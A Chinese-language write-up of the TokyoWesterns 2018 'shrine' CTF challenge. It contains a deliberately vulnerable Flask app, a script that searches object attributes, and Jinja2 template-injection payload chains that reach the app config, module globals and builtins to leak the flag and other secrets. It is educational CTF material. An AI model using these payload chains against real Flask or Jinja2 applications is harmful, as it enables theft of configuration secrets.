TokyoWesterns 2018 shrine writeup

前言

周末花了一点点时间看TokyoWesterns,真正的web题只有两道。 非常遗憾没有做出这道shrine来。 搜索和思考过程了解了不少东西,但后来证明是思路进入了误区。 在此记录下思考过程。 不感兴趣可以直接看后面的writeup。

思考过程

初见题目便直接给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# view-source:http://shrine.chal.ctf.westerns.tokyo/
import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

非常简单的一个flask应用,关键点在于shrine路由中的两个限制条件:

1
s = s.replace('(', '').replace(')', '')

过滤了括号,

1
''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s

在返回的模板前面加入了黑名单处理。 整理起来逻辑便是这样:

1
2
3
{% set config=None %}
{% set self=None %}
"不带括号的输出"

flask的app.config会直接以config变量传入jinja中,如果不加后面这个限制条件,那么直接用jinja里的config变量就可以输出结果了。

看到这题时思路有两个:

  1. 绕过括号的过滤,直接使用SSTI的技巧读文件或getshell。

这里找到了SSTI绕过过滤的两篇文章:

这个思路研究了半天,发现这些技巧都是使用jinja的过滤器和传入的额外参数做文章。 我们使用传入额外参数,例如http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Brequest.args.a%7D%7D?a=() ,确实能够让输出存在括号,但这种括号是以字符串形式存在的。 我又花了不少时间研究jinja默认过滤器中有没有能够执行字符串,然而以失败告终。 赛后想想如果真的存在这种过滤器,那么jinja模板注入也过于危险了。 最终这个思路行不通。

  1. 绕过set的限制

类似于sql注入使用引号闭合前面的引号来构造新语句,我在想jinja是否存在一种语法能够开辟独立的命名空间,使得

1
{% set config=None %}

失效? 带着这个想法,我开始阅读jinja中各种控制语句。 尝试用

1
2
{% endset %}
{% set ns = namespace() %}

这些语句来改变config的设置,最后以失败告终。

赛后想想,其实主要还是因为自己对jinja的feature不太熟悉,时间大多花在了错误的思路,导致没做出这道并不怎么难的题。

writeup

正确的思路其实非常简单,既然不能使用括号调用函数,也不能用config直接引用app.config里的值,那么flag一定藏在jinja的其它变量的属性中,例如request。 那么我们深度搜索遍历这些变量,就一定能找出flag的访问路径。 我们自己实现一个flask应用,设置好app.config[‘FLAG’],然后遍历request变量的所有值,直到找到我们设置好的flag为止。 参考https://ctftime.org/writeup/10851的搜索代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import flask
import os
from flask import request
from flask import g
from flask import config

app = flask.Flask(__name__)
app.config['FLAG'] = 'secret'

def search(obj, max_depth):
visited_clss = []
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path

if __name__ == '__main__':
app.run(debug=True)

运行这个脚本并访问http://127.0.0.1:5000/shrine/123 ,等待一段搜索时间后,得到路径如下:
obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']
访问http://shrine.chal.ctf.westerns.tokyo/shrine/得到flag:
TWCTF{pray_f0r_sacred_jinja2}

更多思考

看到这道题的正确解法后非常惊讶,不通过这种方法,我无论如何也想不到在_get_data_for_json和JSONEncoder中居然能扩展到应用本身。 原本我的知识还局限在Python 格式化字符串漏洞(Django为例)一文中使用特定的类的init方法去访问全局变量。 这样一来,不就有了各种各样的可能性?我马上做了几个补充实验:

  1. 不在app.config,直接是全局变量能不能访问?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import flask
from flask import request
from jinjia_search import search

glob = 'global secret'
app = flask.Flask(__name__)
app.config['FLAG'] = 'secret'

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == glob:
return path

if __name__ == '__main__':
app.run(debug=True)

毫无疑问答案是肯定的,以下路径就可以访问到:
obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].view_functions['index'].__globals__['glob']

  1. 除了request,jinja的其它默认变量能不能访问到全局变量?

经过测试,config, request, session, g都可以访问到:

1
2
3
4
config:  obj.Config.from_envvar.__globals__['json'].JSONEncoder.default.__globals__['current_app'].view_functions['index'].__globals__['glob']
request: obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].view_functions['index'].__globals__['glob']
session: obj.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.get_data.__globals__['__loader__'].exec_module.__globals__['__builtins__']['__build_class__'].__self__.copyright.__class__._Printer__setup.__globals__['sys'].modules['__main__'].app.view_functions['index'].__globals__['glob']
g: obj.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.get_data.__globals__['__loader__'].exec_module.__globals__['__builtins__']['__build_class__'].__self__.copyright.__class__._Printer__setup.__globals__['sys'].modules['__main__'].app.view_functions['index'].__globals__['glob']

注意session和g都要设置更高的搜索深度才能找到变量。

  1. 其它类

例如os, sys这些模块,当然也是可以的:

1
2
os: obj.MutableMapping.__class__._dump_registry.__globals__['__loader__'].__class__.__weakref__.__objclass__.get_data.__globals__['__loader__'].exec_module.__globals__['__builtins__']['__build_class__'].__self__.copyright.__class__._Printer__setup.__globals__['sys'].modules['__main__'].glob
sys: obj.modules['__main__'].app.view_functions['index'].__globals__['glob']

如果像Python 格式化字符串漏洞(Django为例)中的例子一样,格式化字符串的参数是含有这些模块的任意类,我们就可以使用这种方法获取任意全局变量。

除了jinja,其它模板基本也都有这个问题。 这意味着只要存在模板注入,大部分情况下,我们都能获取到python全局变量中的任何信息。 这其中往往包括config.py, settings.py这些敏感信息。

后话

纵观正确的解法,其实并没有什么原先不知道的知识。 打CTF时还是太不自信,老想着各位师傅发现了什么新的绕过姿势或是奇特的注入技巧,而没有利用好自己最基本的知识。 同样是基本的漏洞知识,在大佬们手中都能玩出花来,这是我接下来要好好思考,培养的能力。

参考文献

  1. https://ctftime.org/writeup/10851
  2. Python 格式化字符串漏洞(Django为例)
  3. Jinja2 template injection filter bypasses
  4. Flask/Jinja2模板注入中的一些绕过姿势